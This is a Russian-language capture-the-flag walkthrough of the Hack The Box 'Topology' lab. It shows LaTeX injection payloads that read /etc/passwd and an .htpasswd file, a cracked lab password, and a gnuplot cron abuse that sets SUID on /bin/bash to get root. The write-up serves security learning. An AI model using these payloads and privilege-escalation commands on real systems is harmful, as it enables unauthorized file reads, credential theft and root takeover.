Сложность: | Easy |
ОС: | Linux |
Баллы: | 20 |
IP: | 10.10.11.217 |
Теги: | LaTeX syntax, Password Bruteforce, Command Injection, Linux PrivEsc |
После первичной разведки веб-приложения мы обнаруживаем дополнительный поддомен с возможностью чтения содержимого файлов на целевой машине с помощью интерпретатора LaTeX
.
Из файла /var/www/dev/.htpasswd
получаем Apache MD5 хэш
пароля учётной записи vdaisley
и успешно перебираем его, после чего получаем флаг пользователя. Затем с помощью утилиты pspy64
обнаруживаем на целевой машине возможность внедрения полезной нагрузки в файл .plt
и успешно получаем доступ к учётной записи root
и соответствующий флаг.
Проведём первичное сканирование цели:
nmap -sS -p- 10.10.11.217
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.217
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
| 256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_ 256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu)
При посещении сайта мы можем обнаружить страницу веб-сервиса университета Miskatonic University of Mathematics, Topology Group
с перечисленными на нём сотрудниками и проектами. Среди них наиболее интересен проект LaTeX Equation Generator
, а также список сотрудников: Professor Lilian Klein, Vajramani Daisley, Derek Abrahams
. Также, на сайте был обнаружен адрес электронной почты с потенциальным доменом сайта — lkllein@topology.htb
.
Добавим домены в /etc/hosts
:
# HTB
10.10.11.217 topology.htb latex.topology.htb
Просканируем директории доступные на topology.htb:
gobuster dir -u http://topology.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
Получим следующий результат:
/images (Status: 200) [Size: 1133]
/css (Status: 200) [Size: 925]
/javascript (Status: 403) [Size: 277]
/portraits (Status: 200) [Size: 1357]
/server-status (Status: 403) [Size: 277]
Далее осуществим сканирование поддоменов доступных в сервисе на предмет дополнительного функционала и сведений, для этого можем использовать любой сканер на ваше усмотрение:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://topology.htb/ -H "Host: FUZZ.topology.htb" -fw 1612
Получаем следующий результат сканирования:
dev [Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 1677ms]
stats [Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 1215ms]
latex [Status: 200, Size: 2828, Words: 171, Lines: 26, Duration: 3284ms]
Добавим также поддомены dev
и stats
в файл hosts и проведём разведку их содержимого:
# HTB
10.10.11.217 topology.htb latex.topology.htb dev.topology.htb stats.topology.htb
Переходим к сервису dev.topology.htb:
Для дальнейшего взаимодействия требуется авторизоваться, но пока что никакими данными авторизации мы не обладаем, поэтому перейдём к сервису LaTeX и рассмотрим его подробнее.
Данный сервис позволяет экспортировать пользовательский код на языке разметки LaTeX в изображения формата PNG.
Перехватим запрос, содержащий конвертируемый LaTeX синтаксис (для примера выполним команду вывода содержимого файла text.txt
) с помощью Burp Suite:
Видим, что мы можем успешно выполнять произвольные команды. Теперь попытаемся получить список пользовательских и сервисных учётных записей на целевой машине с помощью команды:
$\lstinputlisting{/etc/passwd}$
Получили список сервисных УЗ, а также узнали о существовании на целевой машине пользователя vdaisley
. Поскольку ранее мы встретили Basic HTTP авторизацию на сервисе dev.topology.htb
учётные данные необходимые для авторизации в приложении могут содержаться в файле .htpasswd
, расположенном по пути /var/www/dev/.htpasswd
. Аналогично выводу содержимого файла /etc/passwd прочтём содержимое файла /var/www/dev/.htpasswd
:
$\lstinputlisting{/var/www/dev/.htpasswd}$
Получили хэш пароля от учётной записи vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIBIxTY0
. После недолгих поисков обнаружим, что данная разновидность хэша это Apache MD5
. Воспользуемся утилитой JohnTheRipper
и переберём пароль по словарю rockyou
.
Получили следующие данные УЗ: vdaisley:calculus20
Успешно авторизуемся с этими данными на dev.topology.htb
:
Попробуем также использовать этот пароль и логин для авторизации с помощью SSH: ssh vdaisley@topology.htb
Успешно получили флаг пользователя.
Полученный пользователь не может запускать sudo
.
Загрузим на целевую машину скрипт сбора информации LinPEAS
и инструмент анализа процессов pspy64
.
Наиболее интересен в плане потенциальной эксплуатации оказались сведения полученные с помощью pspy64:
2023/06/23 21:34:07 CMD: UID=0 PID=3570 | find /opt/gnuplot -name *.plt -exec gnuplot {};
2023/06/23 21:34:07 CMD: UID=0 PID=3569 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0 PID=3568 | /bin/sh -c /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0 PID=3567 | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
2023/06/23 21:34:07 CMD: UID=0 PID=3566 | /usr/sbin/CRON -f
2023/06/23 21:34:07 CMD: UID=0 PID=3565 | /usr/sbin/CRON -f
2023/06/23 21:34:07 CMD: UID=0 PID=3579 | sed s/,//g
2023/06/23 21:34:07 CMD: UID=0 PID=3578 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0 PID=3577 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0 PID=3576 | uptime
2023/06/23 21:34:07 CMD: UID=0 PID=3580 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0 PID=3581 | tail -60 /opt/gnuplot/loaddata.dat
2023/06/23 21:34:07 CMD: UID=0 PID=3582 | gnuplot /opt/gnuplot/networkplot.plt
Проанализировав каким образом передаются параметры инструмента gnuplot
мы можем сформировать полезную нагрузку, с помощью которой мы получим доступ к учётной записи root
. Создадим файл evil.plt
в /opt/gnuplot
с содержимым:
echo "system 'chmod u+s /bin/bash'" > /opt/gnuplot/evil.plt
Через некоторое время выполним команду: /bin/bash -p
Успешно получили доступ к учётной записи root
и смогли прочитать флаг:
https://book.hacktricks.xyz/pentesting-web/formula-csv-doc-latex-ghostscript-injection#read-file
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/gnuplot-privilege-escalation/